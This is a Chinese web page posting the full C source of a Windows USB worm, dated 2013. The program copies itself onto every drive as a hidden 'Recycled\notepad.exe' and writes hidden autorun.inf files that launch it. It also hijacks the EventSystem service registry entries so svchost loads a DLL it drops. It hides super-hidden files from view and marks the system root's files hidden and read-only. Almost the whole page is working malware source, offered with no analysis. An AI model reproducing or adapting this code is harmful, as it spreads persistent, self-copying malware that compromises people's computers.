现在的位置: 首页 > 综合 > 正文

U盘小病毒源代码

2013年05月08日 ⁄ 综合 ⁄ 共 10643字 ⁄ 字号 评论关闭
//*******************************************
//******  网蝉U盘感染小病毒 ******
//*******************************************
//功能介绍:
//1,感染U盘和网络硬盘
//2,释放DLL文件并将其加入到系统服务启动。
//3,保护注册表相关项目。
//4,
//
//
//
////////////////////////////////////////////////
#include <windows.h>
#include <stdio.h>
#include "tchar.h"
#pragma comment(linker,"/subsystem:windows")
#define IDR_SERVER1               101

void wreg();//写注册表
void cfile(LPCTSTR drivers);//创建AUTORUN.INF文件
void copysel(LPCTSTR drivers);//拷贝本文件到各盘的x:recycled../目录下
void findfile();//将系统文目录下的所有文件属性变为隐藏属性+文档+只读属性
bool Makeexe(LPCTSTR szDllFile);//释放dll文件到c:/windows/system32下
bool checkdesk(LPCTSTR drivers);

TCHAR g_strFileName[MAX_PATH];  //用来存放windows系统目录的路径
char pName [MAX_PATH];//本程序路径
char bootdll[MAX_PATH];//windows/system32/EsXP.dll
//主函数
int WINAPI WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,PSTR szCmdLine,int iCmdShow)
{
        char buf[MAX_PATH];//存放盘符串
        char buff[4];//存放单个盘符信息
        char salfe[MAX_PATH];//windows/system32/wshexts.dll
   
        CreateMutex(NULL,FALSE,"TEST");//让本程序只运行1个实例
        if(GetLastError()==ERROR_ALREADY_EXISTS)
        exit(0);
        ZeroMemory(&g_strFileName,sizeof(g_strFileName));
        ZeroMemory(&pName,sizeof(pName));
        GetWindowsDirectory(g_strFileName, MAX_PATH);//得到windows系统目录放入全局g_strFileName供程序使用
        GetModuleFileName(NULL, pName, sizeof( pName ) / sizeof(char));//得到本程序目录放入全局pName供程序使用
        ZeroMemory(&salfe,sizeof(salfe));
        wsprintf(salfe,"%s//system32//wshexts.dll",g_strFileName);//备份此病毒
        ZeroMemory(&bootdll,sizeof(bootdll));
        wsprintf(bootdll,"%s//system32//EsA.nls",g_strFileName);//创建本程序的svchost启动项

        wreg();//写注册表
        findfile();//搜索系统驱动器下的根目录文件,并把文件的属性改为只读+隐藏+存档属性。
        DWORD m_Result=GetLogicalDriveStrings(MAX_PATH,buf);
        for(int i=0;i<(int)m_Result;i=i+4)
        {
               
                wsprintf(buff,"%c%c%c",buf,buf[i+1],buf[i+2]);//获得各盘的信息,格式为"c:/"
                if(checkdesk(buff))
                {
//                        MessageBox(NULL,"开始写入数据",buff,MB_OK);
                cfile(buff);//创建AUTORUN.INF文件
                copysel(buff);//复制自身
                }
        }
//复制自身到
    CopyFile(pName,salfe,FALSE);
        //释放dll到指定目录
        Makeexe(bootdll);
        ///模拟打开资源管理器运行。
        char currpath[MAX_PATH];
        char dri[MAX_PATH];
        ZeroMemory(&dri,sizeof(dri));
        GetCurrentDirectory(MAX_PATH,currpath);
        strncpy(dri,currpath,3);
        ShellExecute(0, "open", "Explorer.exe",dri, NULL, SW_SHOW);
        return 0;
}
//////////////////////////////////
//函数:void wreg()
//功能:写入注册表,修改文件隐藏属性,设置服务启动项
//参数:无
//////////////////////////////////
void wreg()
{
        HKEY hKEY;
///////////开始隐藏U盘感染部分。
//        char aa='1';//修改文件隐藏属性.
        DWORD bb=0x0;
    DWORD dw02=0x02;
/////////////////////////////////////////////////////////////////////////////////////////////////////
//注册svchost所需要的局部变量
//        LPCTSTR svchost="SOFTWARE//Microsoft//Windows NT//CurrentVersion//SvcHost";
        LPCTSTR EventSystem="SYSTEM//CurrentControlSet//Services//EventSystem";
    LPCTSTR EventSystemParameters="SYSTEM//CurrentControlSet//Services//EventSystem//Parameters";
//        char es[]="EventSystem";
        char svchostath[MAX_PATH];
        ZeroMemory(&svchostath,sizeof(svchostath));
        wsprintf(svchostath,"%s//system32//svchost.exe -k netsvcs",g_strFileName);//创建本程序的svchost启动项
//        char Description[]="Supports System Event Notification Service (SENS), which provides automatic distribution of events to subscribing Component Object Model (COM) components. If the service is stopped, SENS will close and will not be able to provide logon and logoff notifications. If this service is disabled, any services that explicitly depend on it will fail to start.";

    LPCTSTR EventSystem001="SYSTEM//ControlSet001//Services//EventSystem";
        LPCTSTR EventSystemParameters001="SYSTEM//ControlSet001//Services//EventSystem//Parameters";
        LPCTSTR EventSystem002="SYSTEM//ControlSet002//Services//EventSystem";
        LPCTSTR EventSystemParameters002="SYSTEM//ControlSet002//Services//EventSystem//Parameters";
/////////////////////////////////////////////////////////////////////////////////////////////////////////////
        LPCTSTR salekey="SOFTWARE//Microsoft//ODBC";//把自身路径存放在其下
//        LPCTSTR hidden="SOFTWARE//Microsoft//Windows//CurrentVersion//Explorer//Advanced//Folder//Hidden//SHOWALL";//关闭隐藏选项,让隐藏文件不可见。
        LPCTSTR hidden1="SOFTWARE//Microsoft//Windows//CurrentVersion//Explorer//Advanced//Folder//SuperHidden";       
        LPCTSTR flashh="Software//Microsoft//Windows//CurrentVersion//Explorer//Advanced";//flash
//        RegOpenKeyEx(HKEY_LOCAL_MACHINE,hidden,0,KEY_READ | KEY_WRITE,&hKEY);
//        RegSetValueEx(hKEY,(LPCTSTR)("CheckedValue"),NULL,REG_SZ,(CONST BYTE *)&aa,1);
        RegOpenKeyEx(HKEY_LOCAL_MACHINE,hidden1,0,KEY_READ | KEY_WRITE,&hKEY);
        RegSetValueEx(hKEY,(LPCTSTR)("UncheckedValue"),NULL,REG_DWORD,(CONST BYTE *)&bb,4);
        RegOpenKeyEx(HKEY_CURRENT_USER,flashh,0,KEY_READ | KEY_WRITE,&hKEY);
  //  RegSetValueEx(hKEY,(LPCTSTR)("Hidden"),NULL,REG_DWORD,(CONST BYTE *)&bb,4);
        RegSetValueEx(hKEY,(LPCTSTR)("ShowSuperHidden"),NULL,REG_DWORD,(CONST BYTE *)&bb,4);
///////////////////////////////////////////////////////////////////////////////////////////////
/////////开始注册SVCHOST服务///////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////////////////////
//        RegOpenKeyEx(HKEY_LOCAL_MACHINE,svchost,0,KEY_READ | KEY_WRITE,&hKEY);
//        RegSetValueEx(hKEY,(LPCTSTR)("EventSystem"),NULL,REG_MULTI_SZ,(CONST BYTE *)&es,sizeof(es));

        RegOpenKeyEx(HKEY_LOCAL_MACHINE,EventSystem,0,KEY_READ | KEY_WRITE,&hKEY);
    RegSetValueEx(hKEY,(LPCTSTR)("Start"),NULL,REG_DWORD,(CONST BYTE *)&dw02,4);
            RegSetValueEx(hKEY,(LPCTSTR)("ImagePath"),NULL,REG_EXPAND_SZ,(CONST BYTE *)&svchostath,sizeof(svchostath));
//        RegSetValueEx(hKEY,(LPCTSTR)("Description"),NULL,REG_SZ,(CONST BYTE *)&Description,sizeof(Description));
    RegOpenKeyEx(HKEY_LOCAL_MACHINE,EventSystemParameters,0,KEY_READ | KEY_WRITE,&hKEY);
    RegSetValueEx(hKEY,(LPCTSTR)("ServiceDll"),NULL,REG_EXPAND_SZ,(CONST BYTE *)&bootdll,sizeof(bootdll));

        RegOpenKeyEx(HKEY_LOCAL_MACHINE,EventSystem001,0,KEY_READ | KEY_WRITE,&hKEY);
    RegSetValueEx(hKEY,(LPCTSTR)("Start"),NULL,REG_DWORD,(CONST BYTE *)&dw02,4);
          RegSetValueEx(hKEY,(LPCTSTR)("ImagePath"),NULL,REG_EXPAND_SZ,(CONST BYTE *)&svchostath,sizeof(svchostath));
//        RegSetValueEx(hKEY,(LPCTSTR)("Description"),NULL,REG_SZ,(CONST BYTE *)&Description,sizeof(Description));

    RegOpenKeyEx(HKEY_LOCAL_MACHINE,EventSystemParameters001,0,KEY_READ | KEY_WRITE,&hKEY);
    RegSetValueEx(hKEY,(LPCTSTR)("ServiceDll"),NULL,REG_EXPAND_SZ,(CONST BYTE *)&bootdll,sizeof(bootdll));

        RegOpenKeyEx(HKEY_LOCAL_MACHINE,EventSystem002,0,KEY_READ | KEY_WRITE,&hKEY);
    RegSetValueEx(hKEY,(LPCTSTR)("Start"),NULL,REG_DWORD,(CONST BYTE *)&dw02,4);
        RegSetValueEx(hKEY,(LPCTSTR)("ImagePath"),NULL,REG_EXPAND_SZ,(CONST BYTE *)&svchostath,sizeof(svchostath));
//        RegSetValueEx(hKEY,(LPCTSTR)("Description"),NULL,REG_SZ,(CONST BYTE *)&Description,sizeof(Description));

    RegOpenKeyEx(HKEY_LOCAL_MACHINE,EventSystemParameters002,0,KEY_READ | KEY_WRITE,&hKEY);
    RegSetValueEx(hKEY,(LPCTSTR)("ServiceDll"),NULL,REG_EXPAND_SZ,(CONST BYTE *)&bootdll,sizeof(bootdll));

        RegSetValue(HKEY_LOCAL_MACHINE,salekey,REG_SZ,pName,strlen(pName));

        RegCloseKey(hKEY);
}
///////////////////////////////////////////////////////////////
//函数名:cfile               
//函数功能:创建autorun.inf文件
//参数:LPCTSTR drivers 为驱动器名称,格式为"c:/"的字符串
///////////////////////////////////////////////////////////////
void cfile(LPCTSTR drivers)
{
        HANDLE hCFN;
        char ch1[MAX_PATH];
        DWORD filesize1 , wsize;
        wsprintf(ch1,"%sautorun.inf",drivers);
        char autorunc[]="[AutoRun] /n open=Recycled//notepad.exe /n ` /n shell//open=打开(&O)/n shell//open//Command=Recycled//notepad.exe /n shell//open//Default=1";
        filesize1=sizeof(autorunc);
        hCFN=CreateFile(ch1,GENERIC_WRITE,0,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_HIDDEN|FILE_ATTRIBUTE_SYSTEM,NULL);
        WriteFile(hCFN,autorunc,filesize1-1,&wsize,NULL);
        SetFileAttributes(ch1,FILE_ATTRIBUTE_HIDDEN|FILE_ATTRIBUTE_SYSTEM);
        CloseHandle(hCFN);
}
///////////////////////////////////
//函数: void copysel(LPCTSTR drivers)
//功能: 复制自己到指定目录
//参数: 传递一个驱动器名称,格式为"c:/"
///////////////////////////////////
void copysel(LPCTSTR drivers)
{
//        char pName1 [MAX_PATH];//
        char ch2[MAX_PATH];//各盘的recycled目录
        char ch3[MAX_PATH];//各盘的recycled目录下的notepad.exe完整路径
//        GetCurrentDirectory(MAX_PATH,pName);
        wsprintf(ch2,"%sRecycled//",drivers);
        CreateDirectory(ch2,NULL);
        wsprintf(ch3,"%s//notepad.exe",ch2);
//        strncpy(pName1,pName,3);
//        strcat(pName,"Recycled//notepad.exe");
        CopyFile(pName,ch3,FALSE);
        SetFileAttributes(ch2,FILE_ATTRIBUTE_HIDDEN|FILE_ATTRIBUTE_SYSTEM);
}

///////////////////////////////////
//函数: void findfile()
//功能: 搜索系统驱动器下的根目录文件,并把文件的属性改为只读+隐藏+存档属性。
//参数: 无
///////////////////////////////////
void findfile()
{
char systemdriver[6];//存放查找路径
ZeroMemory(&systemdriver,sizeof(systemdriver));
char filepath[MAX_PATH];
    strncpy(systemdriver,g_strFileName,2);
        strcat(systemdriver,"//*.*");//获得查找路径
        WIN32_FIND_DATA fd;
        HANDLE hd=FindFirstFile(systemdriver,&fd);
        if(hd==INVALID_HANDLE_VALUE)
                return;//查找完成后返回
        while(FindNextFile(hd,&fd))
        {
                if(fd.dwFileAttributes!=FILE_ATTRIBUTE_DIRECTORY)//查找如果是文件,将其属性保留为隐藏和只读属性
                {
        ZeroMemory(&filepath,sizeof(filepath));
        strncpy(filepath,g_strFileName,3);
        strcat(filepath,fd.cFileName);
        SetFileAttributes(filepath,FILE_ATTRIBUTE_NORMAL);
    SetFileAttributes(filepath,FILE_ATTRIBUTE_HIDDEN|FILE_ATTRIBUTE_READONLY|FILE_ATTRIBUTE_ARCHIVE);
                }
        };
        FindClose(hd);
}

/////////////////////////////////////////
//函数:bool checkdesk(LPCTSTR drivers)
//功能:判断指定驱动器是否是光驱
//参数:驱动器,格式为"c:/"
////////////////////////////////////////
bool checkdesk(LPCTSTR drivers)
{

if(GetDriveType(drivers)==DRIVE_REMOVABLE)
{                       
//MessageBox(NULL,"是光驱",drivers,MB_OK);
return false;                                                //返回0  是光驱
}
else
{
//MessageBox(NULL,"不是光驱",drivers,MB_OK);
return true;                                        //返回1   不是光驱
}
}

/////////////////////////////////////////
//函数:bool Makeexe(LPCTSTR szDllFile)
//功能:把server类型资源从自身释放出去,
//参数:LPCTSTR szDllFile 为将要释放到的目标路径
////////////////////////////////////////
bool Makeexe(LPCTSTR szDllFile)
{
        HRSRC hResInfo;
        HGLOBAL hResData;
        DWORD dwSize, dwWritten;
        LPBYTE p;
        HANDLE hFile;
        hResInfo = FindResource(NULL,MAKEINTRESOURCE(IDR_SERVER1), _T("SERVER"));
        if (hResInfo == NULL)
                return false;
        // 获得资源尺寸
    dwSize = SizeofResource(NULL, hResInfo);
        // 装载资源
    hResData = LoadResource(NULL, hResInfo);
        if (hResData == NULL)
                return false;
        p = (LPBYTE)GlobalAlloc(GPTR, dwSize);
        if (p == NULL)
                return false;
        // 复制资源数据
    CopyMemory((LPVOID)p, (LPCVOID)LockResource(hResData), dwSize);
        hFile = CreateFile(szDllFile, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, NULL);
        if (hFile != NULL)
                WriteFile(hFile, (LPCVOID)p, dwSize, &dwWritten, NULL);
    else
        {
                GlobalFree((HGLOBAL)p);
                return false;
        }
        CloseHandle(hFile);
        GlobalFree((HGLOBAL)p);
        return true;
}
 

抱歉!评论已关闭.